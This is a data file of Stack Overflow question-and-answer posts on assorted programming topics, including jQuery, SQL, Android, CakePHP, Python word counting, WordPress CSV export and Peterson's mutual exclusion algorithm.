40779154	0	 <p>We can do same Springboard behavior using UICollectionView and for that we need to write code for custom layout.</p> <p>I have achieved it with my custom layout class implementation with <strong>"SMCollectionViewFillLayout"</strong> </p> <p><strong>Output as below:</strong></p> <p><strong>1.png</strong></p> <p><a href="https://i.stack.imgur.com/Pzb5E.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Pzb5E.png" alt="First.png"></a></p> <p><strong>2_Code_H-Scroll_V-Fill.png</strong></p> <p><a href="https://i.stack.imgur.com/WdBZn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WdBZn.png" alt="enter image description here"></a></p> <p><strong>3_Output_H-Scroll_V-Fill.png</strong> <a href="https://i.stack.imgur.com/bfind.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bfind.png" alt="enter image description here"></a></p> <p><strong>4_Code_H-Scroll_H-Fill.png</strong> <a href="https://i.stack.imgur.com/mxwSH.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mxwSH.png" alt="enter image description here"></a></p> <p><strong>5_Output_H-Scroll_H-Fill.png</strong> <a href="https://i.stack.imgur.com/cwWqq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cwWqq.png" alt="enter image description here"></a></p>
2851664	0	 <p>I got it all sorted out now. My hook_theme is this:</p> <pre><code>function cssswitch_theme() { return array( 'cssswitch_display' =&gt; array( 'arguments' =&gt; array('node'), ), 'cssswitch_node_form' =&gt; array( 'arguments' =&gt; array('form' =&gt; NULL), 'template' =&gt; 'cssswitch-node-form.tpl.php', ), ); } </code></pre> <p>I created the file themes/garland/cssswitch-node-form.tpl.php Then I can have control over where to put any form elements like this:</p> <pre><code>&lt;style&gt; #edit-hour-start-wrapper, #edit-minute-start-wrapper, #edit-ampm-start-wrapper, #edit-hour-end-wrapper, #edit-minute-end-wrapper, #edit-ampm-end-wrapper { float:left; margin-right:25px; } &lt;/style&gt; &lt;div id="regform1"&gt; &lt;?php print drupal_render($form['title']); ?&gt; &lt;?php print drupal_render($form['cssfilename']); ?&gt; &lt;fieldset class="group-account-basics collapsible"&gt; &lt;legend&gt;Time Start&lt;/legend&gt; &lt;?php print drupal_render($form['hour_start']); ?&gt; &lt;?php print drupal_render($form['minute_start']); ?&gt; &lt;?php print drupal_render($form['ampm_start']); ?&gt; &lt;/fieldset&gt; &lt;fieldset class="group-account-basics collapsible"&gt;&lt;legend&gt;Time end&lt;/legend&gt; &lt;?php print drupal_render($form['hour_end']); ?&gt; &lt;?php print drupal_render($form['minute_end']); ?&gt; &lt;?php print drupal_render($form['ampm_end']); ?&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;?php print drupal_render($form['options']); ?&gt; &lt;?php print drupal_render($form['author']); ?&gt; &lt;?php print drupal_render($form['revision_information']); ?&gt; &lt;?php print drupal_render($form['path']); ?&gt; &lt;?php print drupal_render($form['attachments']); ?&gt; &lt;?php print drupal_render($form['comment_settings']); ?&gt; &lt;?php print drupal_render($form); ?&gt; </code></pre>
19806495	0	how to iterate through the selectors with jquery? <p>Suppose, I have multiple selectors used </p> <pre><code>$('.some, .next, .any, .way, .myname, .something') </code></pre> <p>and now if I would like to change each background when one background is changed, so I'm wondering how can I iterate all selectors using likely to this: <code>$(this).each()</code> but I know this will not work coz this will take currently selected each elements but I would like to do all the selectors in my selectors used.</p>
34768606	0	Pass array and string from one script to another script <p>Hi have two script one in calling the another. from one script I m trying to pass two parameters a string and an array. How can i receive it on another script. Script 1 :</p> <pre><code> $admin_script_path/aggregation_checklist_hdfs.sh "${aggregation_hdfs_folder}" "${incrementalArray[@]}" </code></pre> <p>Script 2 :</p> <pre><code>path="$1" echo "$path" specificAggregationArray=( "$@" ) </code></pre> <p>but these are not working.</p>
1918230	0	 <p>Try:</p> <pre><code>SELECT * FROM table WHERE column NOT LIKE 'pdd%' </code></pre>
7352347	0	maven-android-plugin passing build properties <p>I have a property file in asset folder, i want to override the values in this property file at project build time. like mvn clean install -Durl=<a href="https://xyx.xom" rel="nofollow">https://xyx.xom</a>?</p> <p>EX: assets/my_prop.properties </p> <pre><code># my_server_url=http://www.test.com/ change to my_server_url=${url} </code></pre> <p>i want to replace the my_server_url value at the build time what i did: mvn clean install -Durl=<a href="http://xys.com" rel="nofollow">http://xys.com</a></p> <p>but it's not replacing,how can i replace the my_server_url when doing the buid</p>
40623405	0	"If var" statement for existing var <p>I know there is the <code>if var</code> statement, but is there a way for it modify an existing var?</p> <pre><code>let number1: Int? = 1 ... var number2: Int = 2 if var number2 = number1 { //if number1 is not nil, number2 will be set to number1 which is 1 } </code></pre>
25950183	0	EditText with "text" inputType not hiding error popup when text is changed <p>Here is my XML</p> <pre><code>&lt;EditText android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="@string/barcode" android:id="@+id/barcode" android:inputType="number" /&gt; &lt;EditText android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="@string/name" android:id="@+id/name" android:inputType="text" /&gt; </code></pre> <p>I set error to both fields:</p> <pre><code>((TextView) findViewById(R.id.barcode)).setError(getString(R.string.at_least_one_field)); ((TextView) findViewById(R.id.name)).setError(getString(R.string.at_least_one_field)); </code></pre> <p>When i run the app and change content in <code>barcode</code> field it's error popup is hiding. And when i change content in <code>name</code> field it's error popup is not hiding. It's hiding only when i tap on Finish button on the keyboard.</p> <p>Why <code>number</code> and <code>text</code> fields have different behaviour?</p>
21669432	0	OAuth 2.0 authentication for mobile client <p>I am developing an app using node.js which will also have an mobile client. I am looking to make the authentication using OAuth 2.0. I have my own external server which will do client validation and generate tokens. Please help me know as to how can i achieve this using OAuth2orize or any other really good module.</p>
17506399	0	 <p>Ok, I found out the answer and it's particularly simple. (Finally for days)</p> <p>All I gotta do is just remove the collection, as well change the filter into checked. I also changed the <code>additional_toppings</code> into <code>additional_topping_ids</code> to return the array and I also add the <code>accessible</code> attribute.</p> <p>Here are the codes:</p> <pre><code>f.input :additional_toppings, as: :check_boxes, checked: food.additional_topping_ids </code></pre> <hr> <pre><code>attr_accessible :name, :price, :quantity, :picture, :category_id, :info , :favourite, :weekly, :unlimited, :toppings, :tag_list, :additional_topping_ids has_many :categorizations has_many :additional_toppings, :through =&gt; :categorizations </code></pre>
24795894	0	How to stop random effect in javascript <p>hey guys i am using <a href="http://codecanyon.net/item/magicwall-responsive-image-grid/full_screen_preview/7391534" rel="nofollow">Codecanyon</a> for my image gallery. Right now it is animating images with random effect. i want to remove random effect. any suggestion how can i do this. below is the functions of animation.</p> <pre><code>parseAnimationOptions: function (t) { var i, o = this, n = ["flipX", "flipY", "rollInX", "rollInY", "rollOutX", "rollOutY", "slideX", "slideY", "slideRow", "slideColumn", "fade"]; return t.animation ? i = t.animation : "*" == o.options.animations ? (i = o.excludeAnimations(n), i = (Math.random() &lt; .5 ? "" : "-") + i[Math.floor(Math.random() * i.length)]) : (o.selectedAnimations &amp;&amp; o.selectedAnimations.length || (o.selectedAnimations = o.options.animations.split(":")), i = o.excludeAnimations("*" == o.selectedAnimations[0] ? n : o.selectedAnimations[0].split(",")), i = i[Math.floor(Math.random() * i.length)], o.selectedAnimations.splice(0, 1)), -1 == n.indexOf(i.replace("-", "")) &amp;&amp; (i = "fade"), e.extend(!0, t, { animation: i, type: i.replace(/[XY-]/g, ""), dir: 0 == i.indexOf("-", 0) ? -1 : 1, axis: i.replace(/[^XY]/g, ""), duration: t.duration || o.options[i.replace("-", "") + "Duration"] || o.options.duration, easing: t.easing || o.options[i.replace("-", "") + "Easing"] || o.options.easing }) } </code></pre> <p>and this code is on the page</p> <pre><code>$(".magicwall").magicWall({ maxItemWidth: 300, maxItemHeight: 240, animations: "rollOutY", flipXDuration: 500, }); </code></pre>
30504517	0	 <p>Use <code>group by</code> and <code>join</code>:</p> <pre><code>SELECT s.lot_number, s.prod_code, s.date_received, s.expiry_date, s.quantity FROM scheme.stquem s JOIN (SELECT lot_number, min(date_received) as mindr FROM scheme.stquem WHERE prod_code = '001' AND lot_number &lt;&gt; '' //removes blanks GROUP BY lot_number ) sl ON sl.lot_number = s.lot_number and sl.mindr = s.date_received WHERE prod_code = '001' ORDER BY s.lot_number; </code></pre>
30388510	0	 <p>You can have a single click handler for all the radio buttons with name <code>cureway</code></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('input[name="cureway"]').click(function() { if (this.id == 'first') { alert('first') } else if (this.id == 'second') { alert('second') } });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;input type="radio" name="cureway" id="first" class="checker" /&gt;first &lt;input type="radio" name="cureway" id="second" class="checker" /&gt;second &lt;input type="radio" name="cureway" id="third" class="checker" /&gt;third &lt;input type="radio" name="cureway" id="forth" class="checker" /&gt;forth &lt;input type="radio" name="cureway" id="five" class="checker" /&gt;five</code></pre> </div> </div> </p>
33882647	0	Universal Deep Links with Mandrill sub domain <p>I have Universal Deep Links working for my iOS app, Neighbourly (associated with neighbourly.co.nz)</p> <p>We send out emails to our users and use Mandrill to track clicks. The email links go to a subdomain clicks.neighbourly.co.nz/path which points to mandrillapp.com/path and the links redirect to neighbourly.co.nz/newpath</p> <p>Ive added applinks:clicks.neighbourly.co.nz to the apps associated domains.</p> <p>My apple-app-site-association file's paths is a wildcard: ["*"]</p> <p>But, while links to neighbourly.co.nz launch the app correctly, links to clicks.neighbourly.co.nz launch in Safari. What am I missing?</p> <p>I can't find any info online about setting up subdomains for deep links</p> <p>Does my apple-app-site-association file need to be hosted at mandrillapp.com?</p>
4849077	0	Unable to understand correctness of Peterson Algorithm <p>I have a scenario to discuss here for Peterson Algorithm:</p> <pre><code>flag[0] = 0; flag[1] = 0; turn; P0: flag[0] = 1; turn = 1; while (flag[1] == 1 &amp;&amp; turn == 1) { // busy wait } // critical section ... // end of critical section flag[0] = 0; P1: flag[1] = 1; turn = 0; while (flag[0] == 1 &amp;&amp; turn == 0) { // busy wait } // critical section ... // end of critical section flag[1] = 0; </code></pre> <p>Suppose both process start executing concurrently .P0 sets flag[0]=1 and die. Then P1 starts. Its while condition will be satisfied as flag[0]=1 ( set by P0 and turn =0) and it will stuck in this loop forever which is a dead lock.<br> So does Peterson Algorithm doesn't account for this case ?<br> In case if dying of process in not to be considered while analyzing such algorithms then in Operating System Book by William Stalling, appendix A contain a series of algorithm for concurrency, starting with 4 incorrect algorithm for demonstration. It proves them incorrect by considering the case of dying of a process ( in addition to other cases) before completion but then claims Peterson Algorithm to be correct. I came across <a href="http://stackoverflow.com/questions/4033738/does-petersons-algorithm-satisfy-starvation">this</a> thread which give me clue that there is a problem when considering N process( n>2) but for two process this algorithm works fine.<br> So is there a problem in the analysis of the algorithm(suggested by one of my classmate and i fully second him) as discussed above or Peterson Algorithm doesn't claim deadlock with 2 process too?</p> <hr> <p>In this paper <a href="http://portal.acm.org/citation.cfm?id=945527">Some myths about famous mutual exclusion algorithms</a>, the author concluded <strong>Peterson has never claimed that his algorithm assures bounded bypass.</strong><br> Can unbounded bypass be thought of as reaching infinity as in case of deadlock ? Well in that case we can have less trouble in accepting that Peterson Algorithm can lead to deadlock.</p>
14750020	0	Does check style 80 character rule still making sense today? <p>I have recently started doing some Java and one of the Maven checkstyle plugin is pissing me off, specially the 80 chars per line rule ! </p> <pre><code>"Line is longer than 80 characters!" </code></pre> <p>I have managed to fix most of the checkstyle "compile error" generated by the Maven plugin automatically via a Eclipse checkstyle plugin but many of the the 80 chars error still needs manual fix despite I have fiddled with the formatter for quite a while....</p> <p>What makes it worse is it makes the code looks ugly, breaking function deceleration,class deceleration, assignment into 2/3 line, </p> <p>Some of the checkstyle is good which helps us get the code clean but some rules just looks stupid and total waste of time !</p> <p>This makes me wondering does the 80 chars checkstyle still making any sense in the modern computer age ? I just failed to understand why java team still use it, it has been causing more trouble than helping us get the code clean &amp; in a good style...</p>
28315071	0	CakePHP containable behaviour with conditions <p>From the following array, I need that <code>Exercise</code> array should contain <code>UserExercise</code> array only if in <code>UserExercise</code> array <code>user_id = 1</code></p> <pre><code>Array ( [0] =&gt; Array ( [ExerciseGroup] =&gt; Array ( [id] =&gt; 1 [name] =&gt; Chests [date_added] =&gt; 2015-01-30 00:00:00 [date_updated] =&gt; 2015-02-02 19:30:49 ) [Exercise] =&gt; Array ( [0] =&gt; Array ( [id] =&gt; 9 [group_id] =&gt; 1 [name] =&gt; Dumbell [date_added] =&gt; 2015-02-02 15:00:49 [date_updated] =&gt; 2015-02-02 19:30:49 [UserExercise] =&gt; Array ( [0] =&gt; Array ( [id] =&gt; 1 [user_id] =&gt; 2 [exercise_id] =&gt; 9 [sets] =&gt; 3 [reps] =&gt; 4 [mon] =&gt; [tue] =&gt; [wed] =&gt; 1 [thr] =&gt; [fri] =&gt; [sat] =&gt; [sun] =&gt; [date_added] =&gt; 2015-02-03 00:00:00 [date_updated] =&gt; 2015-02-03 19:18:56 ) ) ) [1] =&gt; Array ( [id] =&gt; 10 [group_id] =&gt; 1 [name] =&gt; Bench Press [date_added] =&gt; 2015-02-02 15:00:49 [date_updated] =&gt; 2015-02-02 19:30:49 [UserExercise] =&gt; Array ( ) ) [2] =&gt; Array ( [id] =&gt; 11 [group_id] =&gt; 1 [name] =&gt; Parallel [date_added] =&gt; 2015-02-02 15:00:49 [date_updated] =&gt; 2015-02-02 19:30:49 [UserExercise] =&gt; Array ( ) ) ) ) ) </code></pre> <p>ExerciseGroup Model</p> <pre><code>&lt;?php class ExerciseGroup extends AppModel { public $name = 'ExerciseGroup'; public $actsAs = array('Containable'); public $hasMany = array('Exercise' =&gt; array( 'className' =&gt; 'Exercise', 'foreignKey' =&gt; 'group_id', 'dependent' =&gt; true )); } ?&gt; </code></pre> <p>Exercise Model:</p> <pre><code>&lt;?php class Exercise extends AppModel { public $name = 'Exercise'; public $actsAs = array('Containable'); public $hasMany = array('UserExercise' =&gt; array( 'className' =&gt; 'UserExercise', 'foreignKey' =&gt; 'exercise_id', 'dependent' =&gt; true )); } ?&gt; </code></pre> <p>Controller Query I tried:</p> <pre><code>$this -&gt; paginate = array( 'conditions' =&gt; array(), 'contain' =&gt; array('ExerciseGroup' =&gt; array('conditions' =&gt; array('Exercise.UserExercise.user_id' =&gt; 1))), 'recursive' =&gt; 2, 'limit' =&gt; $this -&gt; ExerciseGroup -&gt; find('count') ); $exercises = $this -&gt; paginate('ExerciseGroup'); </code></pre> <p>The Error is get is <code>Model "ExerciseGroup" is not associated with model "ExerciseGroup" [CORE\Cake\Model\Behavior\ContainableBehavior.php, line 342]</code></p>
14048600	0	jQuery: Multiple Checkbox Select and price determination <p>I'm trying to create a "digital breakfast/lunch/dinner list", where over the space of 2 weeks parents can select whether or not their child needs to have breakfast, lunch and/or dinner. These values will be multiplied against different rates for each meal to determine an invoice amount. The parent clicks a submission button which returns the total value. Here's what I've got so far:</p> <p>Web Form:</p> <pre><code>&lt;input type="checkbox" name="breakfast"&gt; &lt;input type="checkbox" name="lunch"&gt; &lt;input type="checkbox" name="dinner"&gt; </code></pre> <p>There are 14 days, with this repeated for each. So in total I have 42 checkboxes.</p> <p>jQuery:</p> <pre><code>var numBreakfast = $("input:checkbox[name='breakfast']").size(); var numLunch = $("input:checkbox[name='lunch']").size(); var numDinner = $("input:checkbox[name='dinner']").size(); var totalPrice = numBreakfast * priceBreakfast + numLunch * priceLunch + numDinner * priceDinner </code></pre> <p>I think I've got this correct, but when I call the total I keep getting $0.00 returned.</p> <p>Any ideas?</p>
4064009	0	 <p>Concerning your first question, have a look at the following SQL code:</p> <p>CREATE TABLE 'test' ('col' varchar(10) NOT NULL, 'col2' varchar(25) NULL);</p> <p>ALTER TABLE 'test' ADD CONSTRAINT 'U' UNIQUE ('col');</p> <p>Here a table "test" is created, containing a collumn "col" which has 10 digits and must be unique.</p> <p>(unfortunately I can't help you concerning SugarCRM)</p>
18781251	0	 <p>Set checked to <code>false</code>, then call <code>button('refresh')</code>:</p> <pre><code>$(this).prop('checked', false).button('refresh'); </code></pre> <h3><a href="http://jsfiddle.net/mbAwC/16/" rel="nofollow">Here's a fiddle</a></h3>
23678500	1	Classifying new occurances - Multinomial Naive Bayes <p>So I have currently trained a Multinomial Naive Bayes classifier, using <code>[SKiLearn][1]</code> Now what I can do is classify test data by using predict.</p> <p>But if I want to run this every night, as a script, I clearly need to always have a classifier already trained up! Now what I'd like to be able to do, is take classifier coefficients, informative words, and use these to classify new data. </p> <p>Is this possible - to develop my own method for classification? Or should I be simply training the SkiLearn classifier nightly?</p> <p>EDIT: One thing, it seems I can do, is retain and <a href="http://stackoverflow.com/questions/10592605/save-naivebayes-classifier-to-disk-in-scikits-learn">save my trained classifier</a>. </p> <p>However with logistic regression, you can take the coefficients and use these on new data. Is there anything similar to this for NB?</p>
10047304	0	 <p>Fix your query as below:</p> <pre><code>"create table option (id integer primary key autoincrement," + "volume boolean not null, vibrate boolean not null, theme text not null); " + "create table score (id integer primary key autoincrement," + "score text not null, difficulty text not null, date date not null);"; </code></pre> <p>You have missed semi-colon and left an extra comma in your query</p>
41054871	1	Python Word Count Test Cases <p>Hi I am trying to submit python word count program and I get the following errors now problem is there is not any data in python word count which is having london bridge is falling down etc Test run works fine only submit is problem. Please guide.</p> <pre class="lang-py prettyprint-override"><code>import logging import sys import string from util import logfile logging.basicConfig(filename=logfile, format='%(message)s', level=logging.INFO, filemode='w') def word_count(): # For this exercise, write a program that serially counts the number of occurrences # of each word in the book Alice in Wonderland. # # The text of Alice in Wonderland will be fed into your program line-by-line. # Your program needs to take each line and do the following: # 1) Tokenize the line into string tokens by whitespace # Example: "Hello, World!" should be converted into "Hello," and "World!" # (This part has been done for you.) # # 2) Remove all punctuation # Example: "Hello," and "World!" should be converted into "Hello" and "World" # # 3) Make all letters lowercase # Example: "Hello" and "World" should be converted to "hello" and "world" # # Store the the number of times that a word appears in Alice in Wonderland # in the word_counts dictionary, and then *print* (don't return) that dictionary # # In this exercise, print statements will be considered your final output. Because # of this, printing a debug statement will cause the grader to break. Instead, # you can use the logging module which we've configured for you. # # For example: # logging.info("My debugging message") # # The logging module can be used to give you more control over your # debugging or other messages than you can get by printing them. Messages # logged via the logger we configured will be saved to a # file. If you click "Test Run", then you will see the contents of that file # once your program has finished running. # # The logging module also has other capabilities; see # https://docs.python.org/2/library/logging.html # for more information. word_counts = {} for line in sys.stdin: data = line.strip().split(" ") for i in data: key = i.translate(string.maketrans("",""),string.punctuation).lower() if key in word_counts.keys(): word_counts[key] += 1 else: word_counts[key] = 1 print word_counts word_count() </code></pre> <p>Evaluating...</p> <blockquote> <p>[FAILED] Wrong word found: 'a' where it should be 'ccc' Inputs: ('a bb bb ccc ccc ccc dddd dddd dddd dddd', 2) Output: [('dddd', 4), ('a', 1)]</p> <p>[FAILED] Wrong word found: 'bridge' where it should be 'falling' Inputs: ('london bridge is falling down falling down falling down london bridge is falling down my fair lady', 5) Output: [('down', 4), ('bridge', 2), ('falling', 4), ('fair', 1), ('is', 2)]</p> </blockquote>
11937074	0	How to launch caching of many pages on Zend? <p>I have an "article" controller and a "view" action. My action takes an id parameter, allowing the visitor to view the article with a specific id (get the info from a mysql database). I want to create a script that generates all my caches instantly. Indeed, I don't want to wait that my visitors visit the articles for my cache files to be generated. Any hint of how I can do this?</p>
32943945	0	What does pipe character do in vim command mode? (for example, :vimgrep /pattern/ file | another_cmd) <p>What does pipe character do in vim command mode?</p> <p>For example, <code>:vimgrep /pattern/ file | copen</code></p> <p>Does it act like a pipe in Linux Command Line? Contents of <code>vimgrep</code> gets piped to <code>copen</code>?</p> <p>Or does it separate commands like <code>;</code> in Command Line?</p>
22402603	0	test browser supports the style or not <p>I can do the following to check if the browser doesn't support column-count css3 property then use my own code:</p> <pre><code>if (!('WebkitColumnCount' in document.body.style || 'MozColumnCount' in document.body.style || 'OColumnCount' in document.body.style || 'MsColumnCount' in document.body.style || 'columnCount' in document.body.style)) {//my own code here} </code></pre> <p>But how can I check that background-image animation support?</p> <p>This type of changing image source with css3 only works on chrome browsers.</p> <pre><code>0%{background-image: url(image-1);} 50%{background-image: url(image-2);} 100%{background-image: url(image-3);} </code></pre> <p>So, I wanted to know is there any technique that we can test that it is supported by the browser or not?</p> <p><strong>Update</strong></p> <p>I just tried like this code which is even not checking @keyframes style support:</p> <pre><code>if (('@keyframes' in document.body.style || '@-webkit-keyframes' in document.body.style)) { //if(!('from' in @keyframes || 'from' in @webkit-keyframes)){ //code in here alert('test'); //} } </code></pre> <p>So even can I not test that @keyframes supported by browser or not?</p> <hr> <p><strong>Solution:</strong></p> <p>I've found from <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Using_CSS_animations/Detecting_CSS_animation_support" rel="nofollow">mdn</a></p> <pre><code>var animation = false, animationstring = 'animation', keyframeprefix = '', domPrefixes = 'Webkit Moz O ms Khtml'.split(' '), pfx = ''; if( elm.style.animationName !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i &lt; domPrefixes.length; i++ ) { if( elm.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) { pfx = domPrefixes[ i ]; animationstring = pfx + 'Animation'; keyframeprefix = '-' + pfx.toLowerCase() + '-'; animation = true; break; } } } </code></pre>
13523520	0	 <p>Yes, so once you download the app, go to the settings and click on the rate and review button. You can also directly search the app in the store and rate/review it there after you've installed it.</p> <p>Arun</p>
17346542	0	 <p>Have you tried creating your busy indicator object globally rather than inside this specific function (I also don't understand the scope of this "initialize" function... I assume this is app-specific code).</p> <p>In your app's .js file (yourProject\apps\yourApp\common\yourApp.js) do something like this:</p> <pre><code>var busy; function wlCommonInit() { busy = new WL.BusyIndicator(); </code></pre> <p>Then, in your <code>initialize()</code> function, call <code>busy.show()</code> and <code>busy.hide()</code> when required.</p>
3139382	0	regular expression that extracts words from a string <p>I want to extract all words from a java String.</p> <p>word can be written in any european language, and does not contain spaces, only alpha symbols.</p> <p>it can contain hyphens though.</p>
36535948	0	Fluent Assertions: Approximately compare two 2D rectangular arrays <p>I'm able to approximately compare two 2D rectangular arrays in Fluent Assertions like this:</p> <pre><code>float precision = 1e-5f; float[,] expectedArray = new float[,] { { 3.1f, 4.5f}, { 2, 4} }; float[,] calculatedArray = new float[,] { { 3.09f, 4.49f}, { 2, 4} }; for (int y = 0; y &lt; 2; ++y) { for (int x = 0; x &lt; 2; ++x) { calculatedArray[y,x].Should().BeApproximately(expectedArray[y,x], precision); } } </code></pre> <p>but is there a cleaner way of achieving this (without the for loops)? For example, something in the same vein as this (which is for 1D arrays):</p> <pre><code>double[] source = { 10.01, 8.01, 6.01 }; double[] target = { 10.0, 8.0, 6.0 }; source.Should().Equal(target, (left, right) =&gt; Math.Abs(left-right) &lt;= 0.01); </code></pre> <p>The above solution for a 1D array comes from the question: <a href="http://stackoverflow.com/questions/17054636/fluent-assertions-compare-two-numeric-collections-approximately">Fluent Assertions: Compare two numeric collections approximately</a></p>
27728804	0	 <p>First of all, <code>Where(x =&gt; x is Video)</code> can be replaced by <code>OfType&lt;Video&gt;()</code>.<br> Second, for fluent syntax it's better to use <code>ParallelEnumerable.ForAll</code> extension method:</p> <pre><code>media.OfType&lt;Video&gt;() .AsParallel() .ForAll(this.Update) </code></pre>
29137028	0	 <p>That is not the intended use of exceptions and is bad practice. Exceptions are intended for those conditions that are not forseable and/or outside of the control of the current developer. </p> <p>In your case you can predict that some users will not be 'test' users, otherwise why have the test. What you are doing here is to use an exception just to return an alternative message that you then echo. So you do not need to throw an exception, simply return an alternative message that indicates this.</p>
24704323	0	 <p>I've got a similar error message. I solved it by adding <code>&lt;form method="post" {{ form_enctype(form) }}&gt;</code> to my form tag.</p>
28712813	0	 <pre><code>s = ["hello how are you?", "I am fine.What are you doing?", "Hey, I am having a haircut. See you at Hotel KingsMen at 10 am."] s.join.scan(/Hotel\s(.+)?\sat\s(.+)?\./).flatten #=&gt; ["KingsMen", "10 am"] </code></pre> <p>Regex description:</p> <ol> <li><p><code>\s</code> - any whitespace character, </p></li> <li><p><code>.</code> - any character, <code>.+</code> - one or more of any character, <code>()</code> - capture everything inside, so <code>(.+)</code> - capture one or more characters</p></li> <li><p><code>a?</code> means zero or one of <code>a</code></p></li> </ol>
25591225	0	 <p>Another difference is that <code>openFileOutputStream</code> opens / creates a file in the the device's "internal" storage.</p> <p>Reference:</p> <ul> <li>Android API Guides > <a href="http://developer.android.com/guide/topics/data/data-storage.html#filesInternal" rel="nofollow">Storage Options</a></li> </ul>
6846405	0	CSV file generation error <p>I'm working on a project for a client - a wordpress plugin that creates and maintains a database of organization members. I'll note that this plugin creates a new table within the wordpress database (instead of dealing with the data as custom_post_type meta data). I've made a lot of modifications to much of the plugin, but I'm having an issue with a feature (that I've left unchanged).</p> <p>One half of this feature does a csv import and insert, and that works great. The other half of this sequence is a feature to download the contents of this table as a csv. This part works fine on my local system, but fails when running from the server. I've poured over each portion of this script and everything seems to make sense. I'm, frankly, at a loss as to why it's failing.</p> <p>The php file that contains the logic is simply linked to. The file:</p> <pre><code>&lt;?php // initiate wordpress include('../../../wp-blog-header.php'); // phpinfo(); function fputcsv4($fh, $arr) { $csv = ""; while (list($key, $val) = each($arr)) { $val = str_replace('"', '""', $val); $csv .= '"'.$val.'",'; } $csv = substr($csv, 0, -1); $csv .= "\n"; if (!@fwrite($fh, $csv)) return FALSE; } //get member info and column data $table_name = $wpdb-&gt;prefix . "member_db"; $year = date ('Y'); $members = $wpdb-&gt;get_results("SELECT * FROM ".$table_name, ARRAY_A); $columns = $wpdb-&gt;get_results("SHOW COLUMNS FROM ".$table_name, ARRAY_A); // echo 'SQL: '.$sql.', RESULT: '.$result.'&lt;br&gt;'; //output headers header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"members.csv\""); //open output stream $output = fopen("php://output",'w'); //output column headings $data[0] = "ID"; $i = 1; foreach ($columns as $column){ //DIAG: echo '&lt;pre&gt;'; print_r($column); echo '&lt;/pre&gt;'; $field_name = ''; $words = explode("_", $column['Field']); foreach ($words as $word) $field_name .= $word.' '; if ( $column['Field'] != 'id' &amp;&amp; $column['Field'] != 'date_updated' ) { $data[$i] = ucwords($field_name); $i++; } } $data[$i] = "Date Updated"; fputcsv4($output, $data); //output data foreach ($members as $member){ // echo '&lt;pre&gt;'; print_r($member); echo '&lt;/pre&gt;'; $data[0] = $member['id']; $i = 1; foreach ($columns as $column){ //DIAG: echo '&lt;pre&gt;'; print_r($column); echo '&lt;/pre&gt;'; if ( $column['Field'] != 'id' &amp;&amp; $column['Field'] != 'date_updated' ) { $data[$i] = $member[$column['Field']]; $i++; } } $data[$i] = $member['date_updated']; //echo '&lt;pre&gt;'; print_r($data); echo '&lt;/pre&gt;'; fputcsv4($output, $data); } fclose($output); ?&gt; </code></pre> <p>So, obviously, a routine wherein a query is run, <code>$output</code> is established with <code>fopen</code>, each row is then formatted as comma delimited and <code>fwrite</code>d, and finally the file is <code>fclose</code>d where it gets pushed to a local system.</p> <p>The error that I'm getting (from the server) is </p> <pre><code>Error 6 (net::ERR_FILE_NOT_FOUND): The file or directory could not be found. </code></pre> <p>But it clearly is getting found, its just failing. If I enable <code>phpinfo()</code> (PHP Version 5.2.17) at the top of the file, I definitely get a response - notably <code>Cannot modify header information</code> (I'm pretty sure because <code>phpinfo()</code> has already generated a header). All the expected data does get printed to the bottom of the page (after all the phpinfo diagnostics), however, so that much at least is working correctly.</p> <p>I am guessing there is something preventing the <code>fopen</code>, <code>fwrite</code>, or <code>fclose</code> functions from working properly (a server setting?), but I don't have enough experience with this to identify exactly what the problem is. </p> <p>I'll note again that this works exactly as expected in my test environment (localhost/XAMPP, netbeans).</p> <p>Any thoughts would be most appreciated. </p> <h3>update</h3> <p>Ok - spent some more time with this today. I've tried each of the suggested fixes, including @Rudu's <code>writeCSVLine</code> fix and @Fernando Costa's <code>file_put_contents()</code> recommendation. The fact is, they all work locally. Either just <code>echo</code>ing or the <code>fopen</code>,<code>fwrite</code>,<code>fclose</code> routine, doesn't matter, works great. </p> <p>What does seem to be a problem is the inclusion of the <code>wp-blog-header.php</code> at the start of the file and then the additional <code>header()</code> calls. (The path is definitely correct on the server, btw.)</p> <p>If I comment out the <code>include</code>, I get a csv file downloaded with some errors planted in it (because <code>$wpdb</code> doesn't exist. And if comment out the <code>header</code>s, I get all my data printed to the page. </p> <p>So... any ideas what could be going on here?<br> Some obvious conflict of the wordpress environment and the proper creation of a file. </p> <p>Learning a lot, but no closer to an answer... Thinking I may need to just avoid the wordpress stuff and do a manual sql query. </p>
20698630	0	 <p>An accept handler may only take an error code as a parameter, see: <a href="http://www.boost.org/doc/libs/1_55_0/doc/html/boost_asio/reference/AcceptHandler.html" rel="nofollow">AcceptHandler</a>. </p> <p>I recommend making <code>acceptor</code> a member of <code>CServerSocket</code> then changing the call to <code>async_accept</code> to:</p> <pre><code>acceptor.async_accept(*socket, std::bind(&amp;CServerSocket::OnAccept, this, std::placeholders::_1)); </code></pre> <p>and accessing <code>acceptor</code> within the <code>OnAccept</code> member function.</p>
2944991	0	rails backgroundjob running jobs in parallel? <p>I'm very happy with By so far, only I have this one issue:</p> <p>When one process takes 1 or 2 hours to complete, all other jobs in the queue seem to wait for that one job to finish. Worse still is when uploading to a server which time's out regularly.</p> <p>My question: is Bj running jobs in parallel or one after another?</p> <p>Thank you, Damir</p>
29885134	0	 <p>The problem is that you're assigning the return value of <code>volunteer.time_in.push</code> back to <code>volunteer.time_in</code>. The return value is the new length of the array, not the array itself.</p> <p>So change that line to just:</p> <pre><code>volunteer.time_in.push(date); </code></pre>
